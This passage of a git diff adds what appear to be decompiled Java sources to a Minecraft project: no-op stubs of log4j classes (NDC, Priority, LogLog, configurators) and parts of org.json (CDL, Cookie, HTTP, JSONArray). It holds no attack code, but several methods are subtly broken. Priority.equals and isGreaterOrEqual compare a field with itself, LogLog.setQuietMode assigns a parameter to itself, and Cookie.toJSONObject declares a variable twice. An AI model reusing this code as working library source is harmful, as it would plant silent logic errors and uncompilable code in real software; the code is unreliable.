+
+
+  public static void clear() {}
+  
+
+
+
+  @Deprecated
+  public static Hashtable getContext()
+  {
+    Map map = org.slf4j.MDC.getCopyOfContextMap();
+    
+    if (map != null) {
+      return new Hashtable(map);
+    }
+    return new Hashtable();
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/NDC.java b/src/minecraft/org/apache/log4j/NDC.java
new file mode 100644
index 0000000..fac78f0
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/NDC.java
@@ -0,0 +1,98 @@
+package org.apache.log4j;
+
+import java.util.Stack;
+import org.slf4j.MDC;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NDC
+{
+  public static final String PREFIX = "NDC";
+  
+  public NDC() {}
+  
+  public static void clear()
+  {
+    int depth = getDepth();
+    for (int i = 0; i < depth; i++) {
+      String key = "NDC" + i;
+      MDC.remove(key);
+    }
+  }
+  
+  public static Stack cloneStack()
+  {
+    return null;
+  }
+  
+
+  public static void inherit(Stack stack) {}
+  
+  public static String get()
+  {
+    return null;
+  }
+  
+  public static int getDepth() {
+    int i = 0;
+    for (;;) {
+      String val = MDC.get("NDC" + i);
+      if (val == null) break;
+      i++;
+    }
+    
+
+
+    return i;
+  }
+  
+  public static String pop() {
+    int next = getDepth();
+    if (next == 0) {
+      return "";
+    }
+    int last = next - 1;
+    String key = "NDC" + last;
+    String val = MDC.get(key);
+    MDC.remove(key);
+    return val;
+  }
+  
+  public static String peek() {
+    int next = getDepth();
+    if (next == 0) {
+      return "";
+    }
+    int last = next - 1;
+    String key = "NDC" + last;
+    String val = MDC.get(key);
+    return val;
+  }
+  
+  public static void push(String message) {
+    int next = getDepth();
+    MDC.put("NDC" + next, message);
+  }
+  
+  public static void remove() {}
+  
+  public static void setMaxDepth(int maxDepth) {}
+}
diff --git a/src/minecraft/org/apache/log4j/PatternLayout.java b/src/minecraft/org/apache/log4j/PatternLayout.java
new file mode 100644
index 0000000..87b95e9
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/PatternLayout.java
@@ -0,0 +1,9 @@
+package org.apache.log4j;
+
+public class PatternLayout
+  extends Layout
+{
+  public PatternLayout() {}
+  
+  public PatternLayout(String pattern) {}
+}
diff --git a/src/minecraft/org/apache/log4j/Priority.java b/src/minecraft/org/apache/log4j/Priority.java
new file mode 100644
index 0000000..f283f13
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/Priority.java
@@ -0,0 +1,170 @@
+package org.apache.log4j;
+
+
+
+
+public class Priority
+{
+  transient int level;
+  
+
+
+  transient String levelStr;
+  
+
+
+  transient int syslogEquivalent;
+  
+
+
+  public static final int OFF_INT = Integer.MAX_VALUE;
+  
+
+
+  public static final int FATAL_INT = 50000;
+  
+
+
+  public static final int ERROR_INT = 40000;
+  
+
+  public static final int WARN_INT = 30000;
+  
+
+  public static final int INFO_INT = 20000;
+  
+
+  public static final int DEBUG_INT = 10000;
+  
+
+  public static final int ALL_INT = Integer.MIN_VALUE;
+  
+
+  /**
+   * @deprecated
+   */
+  public static final Priority FATAL = new Level(50000, "FATAL", 0);
+  
+  /**
+   * @deprecated
+   */
+  public static final Priority ERROR = new Level(40000, "ERROR", 3);
+  
+  /**
+   * @deprecated
+   */
+  public static final Priority WARN = new Level(30000, "WARN", 4);
+  
+  /**
+   * @deprecated
+   */
+  public static final Priority INFO = new Level(20000, "INFO", 6);
+  
+  /**
+   * @deprecated
+   */
+  public static final Priority DEBUG = new Level(10000, "DEBUG", 7);
+  
+
+
+  protected Priority()
+  {
+    level = 10000;
+    levelStr = "DEBUG";
+    syslogEquivalent = 7;
+  }
+  
+
+
+  protected Priority(int level, String levelStr, int syslogEquivalent)
+  {
+    this.level = level;
+    this.levelStr = levelStr;
+    this.syslogEquivalent = syslogEquivalent;
+  }
+  
+
+
+
+  public boolean equals(Object o)
+  {
+    if ((o instanceof Priority)) {
+      Priority r = (Priority)o;
+      return level == level;
+    }
+    return false;
+  }
+  
+
+
+
+  public final int getSyslogEquivalent()
+  {
+    return syslogEquivalent;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean isGreaterOrEqual(Priority r)
+  {
+    return level >= level;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public static Priority[] getAllPossiblePriorities()
+  {
+    return new Priority[] { FATAL, ERROR, Level.WARN, INFO, DEBUG };
+  }
+  
+
+
+  public final String toString()
+  {
+    return levelStr;
+  }
+  
+
+
+  public final int toInt()
+  {
+    return level;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public static Priority toPriority(String sArg) {
+    return Level.toLevel(sArg);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public static Priority toPriority(int val) {
+    return toPriority(val, DEBUG);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public static Priority toPriority(int val, Priority defaultPriority) {
+    return Level.toLevel(val, (Level)defaultPriority);
+  }
+  
+  /**
+   * @deprecated
+   */
+  public static Priority toPriority(String sArg, Priority defaultPriority) {
+    return Level.toLevel(sArg, (Level)defaultPriority);
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/PropertyConfigurator.java b/src/minecraft/org/apache/log4j/PropertyConfigurator.java
new file mode 100644
index 0000000..fd8ad6f
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/PropertyConfigurator.java
@@ -0,0 +1,28 @@
+package org.apache.log4j;
+
+import java.net.URL;
+import java.util.Properties;
+import org.apache.log4j.spi.Configurator;
+import org.apache.log4j.spi.LoggerRepository;
+
+public class PropertyConfigurator
+  implements Configurator
+{
+  public PropertyConfigurator() {}
+  
+  public static void configure(Properties properties) {}
+  
+  public static void configure(String configFilename) {}
+  
+  public static void configure(URL configURL) {}
+  
+  public static void configureAndWatch(String configFilename) {}
+  
+  public static void configureAndWatch(String configFilename, long delay) {}
+  
+  public void doConfigure(Properties properties, LoggerRepository hierarchy) {}
+  
+  public void doConfigure(String configFileName, LoggerRepository hierarchy) {}
+  
+  public void doConfigure(URL configURL, LoggerRepository hierarchy) {}
+}
diff --git a/src/minecraft/org/apache/log4j/RollingFileAppender.java b/src/minecraft/org/apache/log4j/RollingFileAppender.java
new file mode 100644
index 0000000..7b3c759
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/RollingFileAppender.java
@@ -0,0 +1,20 @@
+package org.apache.log4j;
+
+import java.io.IOException;
+
+public class RollingFileAppender
+{
+  public RollingFileAppender() {}
+  
+  public RollingFileAppender(Layout layout, String filename)
+    throws IOException
+  {}
+  
+  public RollingFileAppender(Layout layout, String filename, boolean append)
+    throws IOException
+  {}
+  
+  public void setMaxBackupIndex(int maxBackups) {}
+  
+  public void setMaximumFileSize(long maxFileSize) {}
+}
diff --git a/src/minecraft/org/apache/log4j/SimpleLayout.java b/src/minecraft/org/apache/log4j/SimpleLayout.java
new file mode 100644
index 0000000..ba2dbc8
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/SimpleLayout.java
@@ -0,0 +1,7 @@
+package org.apache.log4j;
+
+public class SimpleLayout
+  extends Layout
+{
+  public SimpleLayout() {}
+}
diff --git a/src/minecraft/org/apache/log4j/WriterAppender.java b/src/minecraft/org/apache/log4j/WriterAppender.java
new file mode 100644
index 0000000..790923b
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/WriterAppender.java
@@ -0,0 +1,7 @@
+package org.apache.log4j;
+
+public class WriterAppender
+  extends AppenderSkeleton
+{
+  public WriterAppender() {}
+}
diff --git a/src/minecraft/org/apache/log4j/helpers/LogLog.java b/src/minecraft/org/apache/log4j/helpers/LogLog.java
new file mode 100644
index 0000000..7b6a106
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/helpers/LogLog.java
@@ -0,0 +1,161 @@
+package org.apache.log4j.helpers;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LogLog
+{
+  public static final String DEBUG_KEY = "log4j.debug";
+  /**
+   * @deprecated
+   */
+  public static final String CONFIG_DEBUG_KEY = "log4j.configDebug";
+  protected static boolean debugEnabled = false;
+  
+
+
+
+  private static boolean quietMode = false;
+  
+  private static final String PREFIX = "log4j: ";
+  
+  private static final String ERR_PREFIX = "log4j:ERROR ";
+  
+  private static final String WARN_PREFIX = "log4j:WARN ";
+  
+
+  public LogLog() {}
+  
+  public static void setInternalDebugging(boolean enabled)
+  {
+    debugEnabled = enabled;
+  }
+  
+
+
+
+  public static void debug(String msg)
+  {
+    if ((debugEnabled) && (!quietMode)) {
+      System.out.println("log4j: " + msg);
+    }
+  }
+  
+
+
+
+  public static void debug(String msg, Throwable t)
+  {
+    if ((debugEnabled) && (!quietMode)) {
+      System.out.println("log4j: " + msg);
+      if (t != null) {
+        t.printStackTrace(System.out);
+      }
+    }
+  }
+  
+
+
+
+  public static void error(String msg)
+  {
+    if (quietMode)
+      return;
+    System.err.println("log4j:ERROR " + msg);
+  }
+  
+
+
+
+
+  public static void error(String msg, Throwable t)
+  {
+    if (quietMode) {
+      return;
+    }
+    System.err.println("log4j:ERROR " + msg);
+    if (t != null) {
+      t.printStackTrace();
+    }
+  }
+  
+
+
+
+
+
+  public static void setQuietMode(boolean quietMode)
+  {
+    quietMode = quietMode;
+  }
+  
+
+
+
+  public static void warn(String msg)
+  {
+    if (quietMode) {
+      return;
+    }
+    System.err.println("log4j:WARN " + msg);
+  }
+  
+
+
+
+  public static void warn(String msg, Throwable t)
+  {
+    if (quietMode) {
+      return;
+    }
+    System.err.println("log4j:WARN " + msg);
+    if (t != null) {
+      t.printStackTrace();
+    }
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/helpers/NullEnumeration.java b/src/minecraft/org/apache/log4j/helpers/NullEnumeration.java
new file mode 100644
index 0000000..24350b5
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/helpers/NullEnumeration.java
@@ -0,0 +1,47 @@
+package org.apache.log4j.helpers;
+
+import java.util.Enumeration;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NullEnumeration
+  implements Enumeration
+{
+  private static final NullEnumeration instance = new NullEnumeration();
+  
+  private NullEnumeration() {}
+  
+  public static NullEnumeration getInstance()
+  {
+    return instance;
+  }
+  
+  public boolean hasMoreElements() {
+    return false;
+  }
+  
+  public Object nextElement() {
+    throw new NoSuchElementException();
+  }
+}
diff --git a/src/minecraft/org/apache/log4j/spi/Configurator.java b/src/minecraft/org/apache/log4j/spi/Configurator.java
new file mode 100644
index 0000000..8282216
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/spi/Configurator.java
@@ -0,0 +1,11 @@
+package org.apache.log4j.spi;
+
+import java.net.URL;
+
+public abstract interface Configurator
+{
+  public static final String INHERITED = "inherited";
+  public static final String NULL = "null";
+  
+  public abstract void doConfigure(URL paramURL, LoggerRepository paramLoggerRepository);
+}
diff --git a/src/minecraft/org/apache/log4j/spi/ErrorHandler.java b/src/minecraft/org/apache/log4j/spi/ErrorHandler.java
new file mode 100644
index 0000000..504c1f7
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/spi/ErrorHandler.java
@@ -0,0 +1,6 @@
+package org.apache.log4j.spi;
+
+public class ErrorHandler
+{
+  public ErrorHandler() {}
+}
diff --git a/src/minecraft/org/apache/log4j/spi/Filter.java b/src/minecraft/org/apache/log4j/spi/Filter.java
new file mode 100644
index 0000000..52a7849
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/spi/Filter.java
@@ -0,0 +1,6 @@
+package org.apache.log4j.spi;
+
+public class Filter
+{
+  public Filter() {}
+}
diff --git a/src/minecraft/org/apache/log4j/spi/HierarchyEventListener.java b/src/minecraft/org/apache/log4j/spi/HierarchyEventListener.java
new file mode 100644
index 0000000..ef83e1e
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/spi/HierarchyEventListener.java
@@ -0,0 +1,11 @@
+package org.apache.log4j.spi;
+
+import org.apache.log4j.Appender;
+import org.apache.log4j.Category;
+
+public abstract interface HierarchyEventListener
+{
+  public abstract void addAppenderEvent(Category paramCategory, Appender paramAppender);
+  
+  public abstract void removeAppenderEvent(Category paramCategory, Appender paramAppender);
+}
diff --git a/src/minecraft/org/apache/log4j/spi/LoggerFactory.java b/src/minecraft/org/apache/log4j/spi/LoggerFactory.java
new file mode 100644
index 0000000..6a27565
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/spi/LoggerFactory.java
@@ -0,0 +1,8 @@
+package org.apache.log4j.spi;
+
+import org.apache.log4j.Logger;
+
+public abstract interface LoggerFactory
+{
+  public abstract Logger makeNewLoggerInstance(String paramString);
+}
diff --git a/src/minecraft/org/apache/log4j/spi/LoggerRepository.java b/src/minecraft/org/apache/log4j/spi/LoggerRepository.java
new file mode 100644
index 0000000..e804c90
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/spi/LoggerRepository.java
@@ -0,0 +1,40 @@
+package org.apache.log4j.spi;
+
+import java.util.Enumeration;
+import org.apache.log4j.Appender;
+import org.apache.log4j.Category;
+import org.apache.log4j.Level;
+import org.apache.log4j.Logger;
+
+public abstract interface LoggerRepository
+{
+  public abstract void addHierarchyEventListener(HierarchyEventListener paramHierarchyEventListener);
+  
+  public abstract boolean isDisabled(int paramInt);
+  
+  public abstract void setThreshold(Level paramLevel);
+  
+  public abstract void setThreshold(String paramString);
+  
+  public abstract void emitNoAppenderWarning(Category paramCategory);
+  
+  public abstract Level getThreshold();
+  
+  public abstract Logger getLogger(String paramString);
+  
+  public abstract Logger getLogger(String paramString, LoggerFactory paramLoggerFactory);
+  
+  public abstract Logger getRootLogger();
+  
+  public abstract Logger exists(String paramString);
+  
+  public abstract void shutdown();
+  
+  public abstract Enumeration getCurrentLoggers();
+  
+  public abstract Enumeration getCurrentCategories();
+  
+  public abstract void fireAddAppenderEvent(Category paramCategory, Appender paramAppender);
+  
+  public abstract void resetConfiguration();
+}
diff --git a/src/minecraft/org/apache/log4j/spi/LoggingEvent.java b/src/minecraft/org/apache/log4j/spi/LoggingEvent.java
new file mode 100644
index 0000000..94f38a1
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/spi/LoggingEvent.java
@@ -0,0 +1,6 @@
+package org.apache.log4j.spi;
+
+public class LoggingEvent
+{
+  public LoggingEvent() {}
+}
diff --git a/src/minecraft/org/apache/log4j/spi/OptionHandler.java b/src/minecraft/org/apache/log4j/spi/OptionHandler.java
new file mode 100644
index 0000000..5a6baaa
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/spi/OptionHandler.java
@@ -0,0 +1,6 @@
+package org.apache.log4j.spi;
+
+public abstract interface OptionHandler
+{
+  public abstract void activateOptions();
+}
diff --git a/src/minecraft/org/apache/log4j/xml/DOMConfigurator.java b/src/minecraft/org/apache/log4j/xml/DOMConfigurator.java
new file mode 100644
index 0000000..3eb570e
--- /dev/null
+++ b/src/minecraft/org/apache/log4j/xml/DOMConfigurator.java
@@ -0,0 +1,65 @@
+package org.apache.log4j.xml;
+
+import java.io.InputStream;
+import java.io.Reader;
+import java.net.URL;
+import java.util.Properties;
+import javax.xml.parsers.FactoryConfigurationError;
+import org.apache.log4j.spi.Configurator;
+import org.apache.log4j.spi.LoggerRepository;
+import org.w3c.dom.Element;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DOMConfigurator
+  implements Configurator
+{
+  public DOMConfigurator() {}
+  
+  public static void configure(Element element) {}
+  
+  public static void configure(String filename)
+    throws FactoryConfigurationError
+  {}
+  
+  public static void configure(URL url)
+    throws FactoryConfigurationError
+  {}
+  
+  public static void configureAndWatch(String configFilename) {}
+  
+  public static void configureAndWatch(String configFilename, long delay) {}
+  
+  public void doConfigure(Element element, LoggerRepository repository) {}
+  
+  public void doConfigure(InputStream inputStream, LoggerRepository repository)
+    throws FactoryConfigurationError
+  {}
+  
+  public void doConfigure(Reader reader, LoggerRepository repository)
+    throws FactoryConfigurationError
+  {}
+  
+  public void doConfigure(String filename, LoggerRepository repository) {}
+  
+  public void doConfigure(URL url, LoggerRepository repository) {}
+  
+  public static String subst(String value, Properties props)
+  {
+    return value;
+  }
+}
diff --git a/src/minecraft/org/json/CDL.java b/src/minecraft/org/json/CDL.java
new file mode 100644
index 0000000..dee2f05
--- /dev/null
+++ b/src/minecraft/org/json/CDL.java
@@ -0,0 +1,287 @@
+package org.json;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CDL
+{
+  public CDL() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static String getValue(JSONTokener x)
+    throws JSONException
+  {
+    char c;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    do
+    {
+      c = x.next();
+    } while ((c == ' ') || (c == '\t'));
+    switch (c) {
+    case '\000': 
+      return null;
+    case '"': 
+    case '\'': 
+      char q = c;
+      StringBuffer sb = new StringBuffer();
+      for (;;) {
+        c = x.next();
+        if (c == q)
+        {
+          char nextC = x.next();
+          if (nextC != '"')
+          {
+            if (nextC <= 0) break;
+            x.back();
+            
+            break;
+          }
+        }
+        if ((c == 0) || (c == '\n') || (c == '\r')) {
+          throw x.syntaxError("Missing close quote '" + q + "'.");
+        }
+        sb.append(c);
+      }
+      return sb.toString();
+    case ',': 
+      x.back();
+      return "";
+    }
+    x.back();
+    return x.nextTo(',');
+  }
+  
+
+
+
+
+
+  public static JSONArray rowToJSONArray(JSONTokener x)
+    throws JSONException
+  {
+    JSONArray ja = new JSONArray();
+    for (;;) {
+      String value = getValue(x);
+      char c = x.next();
+      if ((value == null) || (
+        (ja.length() == 0) && (value.length() == 0) && (c != ','))) {
+        return null;
+      }
+      ja.put(value);
+      
+      while (c != ',')
+      {
+
+        if (c != ' ') {
+          if ((c == '\n') || (c == '\r') || (c == 0)) {
+            return ja;
+          }
+          throw x.syntaxError("Bad character '" + c + "' (" + 
+            c + ").");
+        }
+        c = x.next();
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static JSONObject rowToJSONObject(JSONArray names, JSONTokener x)
+    throws JSONException
+  {
+    JSONArray ja = rowToJSONArray(x);
+    return ja != null ? ja.toJSONObject(names) : null;
+  }
+  
+
+
+
+
+
+
+  public static String rowToString(JSONArray ja)
+  {
+    StringBuilder sb = new StringBuilder();
+    for (int i = 0; i < ja.length(); i++) {
+      if (i > 0) {
+        sb.append(',');
+      }
+      Object object = ja.opt(i);
+      if (object != null) {
+        String string = object.toString();
+        if ((string.length() > 0) && ((string.indexOf(',') >= 0) || 
+          (string.indexOf('\n') >= 0) || (string.indexOf('\r') >= 0) || 
+          (string.indexOf(0) >= 0) || (string.charAt(0) == '"'))) {
+          sb.append('"');
+          int length = string.length();
+          for (int j = 0; j < length; j++) {
+            char c = string.charAt(j);
+            if ((c >= ' ') && (c != '"')) {
+              sb.append(c);
+            }
+          }
+          sb.append('"');
+        } else {
+          sb.append(string);
+        }
+      }
+    }
+    sb.append('\n');
+    return sb.toString();
+  }
+  
+
+
+
+
+
+  public static JSONArray toJSONArray(String string)
+    throws JSONException
+  {
+    return toJSONArray(new JSONTokener(string));
+  }
+  
+
+
+
+
+
+  public static JSONArray toJSONArray(JSONTokener x)
+    throws JSONException
+  {
+    return toJSONArray(rowToJSONArray(x), x);
+  }
+  
+
+
+
+
+
+
+
+  public static JSONArray toJSONArray(JSONArray names, String string)
+    throws JSONException
+  {
+    return toJSONArray(names, new JSONTokener(string));
+  }
+  
+
+
+
+
+
+
+
+  public static JSONArray toJSONArray(JSONArray names, JSONTokener x)
+    throws JSONException
+  {
+    if ((names == null) || (names.length() == 0)) {
+      return null;
+    }
+    JSONArray ja = new JSONArray();
+    for (;;) {
+      JSONObject jo = rowToJSONObject(names, x);
+      if (jo == null) {
+        break;
+      }
+      ja.put(jo);
+    }
+    if (ja.length() == 0) {
+      return null;
+    }
+    return ja;
+  }
+  
+
+
+
+
+
+
+
+  public static String toString(JSONArray ja)
+    throws JSONException
+  {
+    JSONObject jo = ja.optJSONObject(0);
+    if (jo != null) {
+      JSONArray names = jo.names();
+      if (names != null) {
+        return rowToString(names) + toString(names, ja);
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  public static String toString(JSONArray names, JSONArray ja)
+    throws JSONException
+  {
+    if ((names == null) || (names.length() == 0)) {
+      return null;
+    }
+    StringBuffer sb = new StringBuffer();
+    for (int i = 0; i < ja.length(); i++) {
+      JSONObject jo = ja.optJSONObject(i);
+      if (jo != null) {
+        sb.append(rowToString(jo.toJSONArray(names)));
+      }
+    }
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/org/json/Cookie.java b/src/minecraft/org/json/Cookie.java
new file mode 100644
index 0000000..ff01f4d
--- /dev/null
+++ b/src/minecraft/org/json/Cookie.java
@@ -0,0 +1,169 @@
+package org.json;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Cookie
+{
+  public Cookie() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String escape(String string)
+  {
+    String s = string.trim();
+    int length = s.length();
+    StringBuilder sb = new StringBuilder(length);
+    for (int i = 0; i < length; i++) {
+      char c = s.charAt(i);
+      if ((c < ' ') || (c == '+') || (c == '%') || (c == '=') || (c == ';')) {
+        sb.append('%');
+        sb.append(Character.forDigit((char)(c >>> '\004' & 0xF), 16));
+        sb.append(Character.forDigit((char)(c & 0xF), 16));
+      } else {
+        sb.append(c);
+      }
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(String string)
+    throws JSONException
+  {
+    JSONObject jo = new JSONObject();
+    
+    JSONTokener x = new JSONTokener(string);
+    jo.put("name", x.nextTo('='));
+    x.next('=');
+    jo.put("value", x.nextTo(';'));
+    x.next();
+    while (x.more()) {
+      String name = unescape(x.nextTo("=;"));
+      Object value; if (x.next() != '=') { Object value;
+        if (name.equals("secure")) {
+          value = Boolean.TRUE;
+        } else {
+          throw x.syntaxError("Missing '=' in cookie parameter.");
+        }
+      } else {
+        value = unescape(x.nextTo(';'));
+        x.next();
+      }
+      jo.put(name, value);
+    }
+    return jo;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String toString(JSONObject jo)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    
+    sb.append(escape(jo.getString("name")));
+    sb.append("=");
+    sb.append(escape(jo.getString("value")));
+    if (jo.has("expires")) {
+      sb.append(";expires=");
+      sb.append(jo.getString("expires"));
+    }
+    if (jo.has("domain")) {
+      sb.append(";domain=");
+      sb.append(escape(jo.getString("domain")));
+    }
+    if (jo.has("path")) {
+      sb.append(";path=");
+      sb.append(escape(jo.getString("path")));
+    }
+    if (jo.optBoolean("secure")) {
+      sb.append(";secure");
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+
+
+
+  public static String unescape(String string)
+  {
+    int length = string.length();
+    StringBuilder sb = new StringBuilder(length);
+    for (int i = 0; i < length; i++) {
+      char c = string.charAt(i);
+      if (c == '+') {
+        c = ' ';
+      } else if ((c == '%') && (i + 2 < length)) {
+        int d = JSONTokener.dehexchar(string.charAt(i + 1));
+        int e = JSONTokener.dehexchar(string.charAt(i + 2));
+        if ((d >= 0) && (e >= 0)) {
+          c = (char)(d * 16 + e);
+          i += 2;
+        }
+      }
+      sb.append(c);
+    }
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/org/json/CookieList.java b/src/minecraft/org/json/CookieList.java
new file mode 100644
index 0000000..af587a7
--- /dev/null
+++ b/src/minecraft/org/json/CookieList.java
@@ -0,0 +1,86 @@
+package org.json;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CookieList
+{
+  public CookieList() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(String string)
+    throws JSONException
+  {
+    JSONObject jo = new JSONObject();
+    JSONTokener x = new JSONTokener(string);
+    while (x.more()) {
+      String name = Cookie.unescape(x.nextTo('='));
+      x.next('=');
+      jo.put(name, Cookie.unescape(x.nextTo(';')));
+      x.next();
+    }
+    return jo;
+  }
+  
+
+
+
+
+
+
+
+  public static String toString(JSONObject jo)
+    throws JSONException
+  {
+    boolean b = false;
+    StringBuilder sb = new StringBuilder();
+    
+    for (String key : jo.keySet()) {
+      Object value = jo.opt(key);
+      if (!JSONObject.NULL.equals(value)) {
+        if (b) {
+          sb.append(';');
+        }
+        sb.append(Cookie.escape(key));
+        sb.append("=");
+        sb.append(Cookie.escape(value.toString()));
+        b = true;
+      }
+    }
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/org/json/HTTP.java b/src/minecraft/org/json/HTTP.java
new file mode 100644
index 0000000..a26c48f
--- /dev/null
+++ b/src/minecraft/org/json/HTTP.java
@@ -0,0 +1,162 @@
+package org.json;
+
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HTTP
+{
+  public static final String CRLF = "\r\n";
+  
+  public HTTP() {}
+  
+  public static JSONObject toJSONObject(String string)
+    throws JSONException
+  {
+    JSONObject jo = new JSONObject();
+    HTTPTokener x = new HTTPTokener(string);
+    
+
+    String token = x.nextToken();
+    if (token.toUpperCase(Locale.ROOT).startsWith("HTTP"))
+    {
+
+
+      jo.put("HTTP-Version", token);
+      jo.put("Status-Code", x.nextToken());
+      jo.put("Reason-Phrase", x.nextTo('\000'));
+      x.next();
+
+    }
+    else
+    {
+
+      jo.put("Method", token);
+      jo.put("Request-URI", x.nextToken());
+      jo.put("HTTP-Version", x.nextToken());
+    }
+    
+
+
+    while (x.more()) {
+      String name = x.nextTo(':');
+      x.next(':');
+      jo.put(name, x.nextTo('\000'));
+      x.next();
+    }
+    return jo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toString(JSONObject jo)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    if ((jo.has("Status-Code")) && (jo.has("Reason-Phrase"))) {
+      sb.append(jo.getString("HTTP-Version"));
+      sb.append(' ');
+      sb.append(jo.getString("Status-Code"));
+      sb.append(' ');
+      sb.append(jo.getString("Reason-Phrase"));
+    } else if ((jo.has("Method")) && (jo.has("Request-URI"))) {
+      sb.append(jo.getString("Method"));
+      sb.append(' ');
+      sb.append('"');
+      sb.append(jo.getString("Request-URI"));
+      sb.append('"');
+      sb.append(' ');
+      sb.append(jo.getString("HTTP-Version"));
+    } else {
+      throw new JSONException("Not enough material for an HTTP header.");
+    }
+    sb.append("\r\n");
+    
+    for (String key : jo.keySet()) {
+      String value = jo.optString(key);
+      if ((!"HTTP-Version".equals(key)) && (!"Status-Code".equals(key)) && 
+        (!"Reason-Phrase".equals(key)) && (!"Method".equals(key)) && 
+        (!"Request-URI".equals(key)) && (!JSONObject.NULL.equals(value))) {
+        sb.append(key);
+        sb.append(": ");
+        sb.append(jo.optString(key));
+        sb.append("\r\n");
+      }
+    }
+    sb.append("\r\n");
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/org/json/HTTPTokener.java b/src/minecraft/org/json/HTTPTokener.java
new file mode 100644
index 0000000..b996e90
--- /dev/null
+++ b/src/minecraft/org/json/HTTPTokener.java
@@ -0,0 +1,77 @@
+package org.json;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HTTPTokener
+  extends JSONTokener
+{
+  public HTTPTokener(String string)
+  {
+    super(string);
+  }
+  
+
+
+
+
+
+
+  public String nextToken()
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    char c;
+    do { c = next();
+    } while (Character.isWhitespace(c));
+    if ((c == '"') || (c == '\'')) {
+      char q = c;
+      for (;;) {
+        c = next();
+        if (c < ' ') {
+          throw syntaxError("Unterminated string.");
+        }
+        if (c == q) {
+          return sb.toString();
+        }
+        sb.append(c);
+      }
+    }
+    for (;;) {
+      if ((c == 0) || (Character.isWhitespace(c))) {
+        return sb.toString();
+      }
+      sb.append(c);
+      c = next();
+    }
+  }
+}
diff --git a/src/minecraft/org/json/JSONArray.java b/src/minecraft/org/json/JSONArray.java
new file mode 100644
index 0000000..6386061
--- /dev/null
+++ b/src/minecraft/org/json/JSONArray.java
@@ -0,0 +1,1531 @@
+package org.json;
+
+import java.io.IOException;
+import java.io.StringWriter;
+import java.io.Writer;
+import java.lang.reflect.Array;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JSONArray
+  implements Iterable<Object>
+{
+  private final ArrayList<Object> myArrayList;
+  
+  public JSONArray()
+  {
+    myArrayList = new ArrayList();
+  }
+  
+
+
+
+
+
+
+  public JSONArray(JSONTokener x)
+    throws JSONException
+  {
+    this();
+    if (x.nextClean() != '[') {
+      throw x.syntaxError("A JSONArray text must start with '['");
+    }
+    
+    char nextChar = x.nextClean();
+    if (nextChar == 0)
+    {
+      throw x.syntaxError("Expected a ',' or ']'");
+    }
+    if (nextChar != ']') {
+      x.back();
+      for (;;) {
+        if (x.nextClean() == ',') {
